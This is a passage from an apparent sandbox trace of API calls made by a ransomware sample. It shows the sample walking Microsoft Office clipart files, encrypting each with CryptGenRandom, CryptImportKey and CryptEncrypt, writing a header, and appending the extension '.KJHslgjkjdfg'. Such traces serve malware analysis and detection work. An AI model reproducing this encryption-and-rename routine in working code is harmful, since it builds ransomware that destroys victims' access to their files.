dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0200.555] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.555] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.555] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.555] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.555] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3734, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3734, lpOverlapped=0x0) returned 1 [0200.556] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3740, dwBufLen=0x3740 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3740) returned 1 [0200.557] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.557] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3740, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3740, lpOverlapped=0x0) returned 1 [0200.557] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.557] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3814, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.557] SetEndOfFile (hFile=0x130) returned 1 [0200.560] GetProcessHeap () returned 0x2ef0000 [0200.560] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0200.560] GetProcessHeap () returned 0x2ef0000 [0200.560] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0200.560] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107090.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107090.wmf.kjhslgjkjdfg")) returned 1 [0200.561] CloseHandle (hObject=0x130) returned 1 [0200.561] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x69cc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107130.WMF", cAlternateFileName="")) returned 1 [0200.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107130.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.563] GetProcessHeap () returned 0x2ef0000 [0200.563] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0200.563] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0200.563] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0200.563] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.565] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.565] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.565] GetProcessHeap () returned 0x2ef0000 [0200.565] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0200.565] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0200.565] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.565] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0200.565] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.566] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0200.566] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0200.566] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0200.566] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.566] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.566] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.566] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.566] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x69cc, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x69cc, lpOverlapped=0x0) returned 1 [0200.567] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x69d0, dwBufLen=0x69d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x69d0) returned 1 [0200.568] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.568] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x69d0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x69d0, lpOverlapped=0x0) returned 1 [0200.568] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.568] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6aa4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.568] SetEndOfFile (hFile=0x130) returned 1 [0200.571] GetProcessHeap () returned 0x2ef0000 [0200.571] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0200.571] GetProcessHeap () returned 0x2ef0000 [0200.571] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0200.571] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107130.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107130.wmf.kjhslgjkjdfg")) returned 1 [0200.572] CloseHandle (hObject=0x130) returned 1 [0200.572] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbcfc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107132.WMF", cAlternateFileName="")) returned 1 [0200.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107132.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.573] GetProcessHeap () returned 0x2ef0000 [0200.573] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0200.573] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0200.573] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0200.573] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.576] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.576] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.576] GetProcessHeap () returned 0x2ef0000 [0200.576] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0200.576] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0200.576] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.576] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0200.576] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.576] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0200.576] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0200.576] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0200.576] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.576] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.577] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.577] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.577] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xbcfc, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xbcfc, lpOverlapped=0x0) returned 1 [0200.578] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xbd00, dwBufLen=0xbd00 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xbd00) returned 1 [0200.579] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.579] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xbd00, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xbd00, lpOverlapped=0x0) returned 1 [0200.580] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.580] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xbdd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.580] SetEndOfFile (hFile=0x130) returned 1 [0200.584] GetProcessHeap () returned 0x2ef0000 [0200.584] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0200.584] GetProcessHeap () returned 0x2ef0000 [0200.584] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0200.584] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107132.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107132.wmf.kjhslgjkjdfg")) returned 1 [0200.585] CloseHandle (hObject=0x130) returned 1 [0200.585] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbd04, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107134.WMF", cAlternateFileName="")) returned 1 [0200.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107134.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.586] GetProcessHeap () returned 0x2ef0000 [0200.586] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0200.586] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0200.586] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0200.586] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0200.589] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.589] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.589] GetProcessHeap () returned 0x2ef0000 [0200.589] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0200.589] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0200.589] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.589] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0200.589] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.589] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0200.589] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0200.589] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0200.589] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.589] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.589] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.590] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.590] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xbd04, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xbd04, lpOverlapped=0x0) returned 1 [0200.591] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xbd10, dwBufLen=0xbd10 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xbd10) returned 1 [0200.592] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.592] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xbd10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xbd10, lpOverlapped=0x0) returned 1 [0200.592] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.592] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xbde4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.592] SetEndOfFile (hFile=0x130) returned 1 [0200.595] GetProcessHeap () returned 0x2ef0000 [0200.596] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0200.596] GetProcessHeap () returned 0x2ef0000 [0200.596] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0200.596] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107134.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107134.wmf.kjhslgjkjdfg")) returned 1 [0200.597] CloseHandle (hObject=0x130) returned 1 [0200.597] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4330, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107138.WMF", cAlternateFileName="")) returned 1 [0200.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107138.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.598] GetProcessHeap () returned 0x2ef0000 [0200.599] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0200.599] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0200.599] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0200.599] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.599] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.599] GetProcessHeap () returned 0x2ef0000 [0200.599] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0200.599] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0200.599] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.599] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0200.601] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.601] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0200.602] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0200.602] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0200.602] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.602] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.602] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.602] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.602] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4330, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4330, lpOverlapped=0x0) returned 1 [0200.603] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4330, dwBufLen=0x4330 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4330) returned 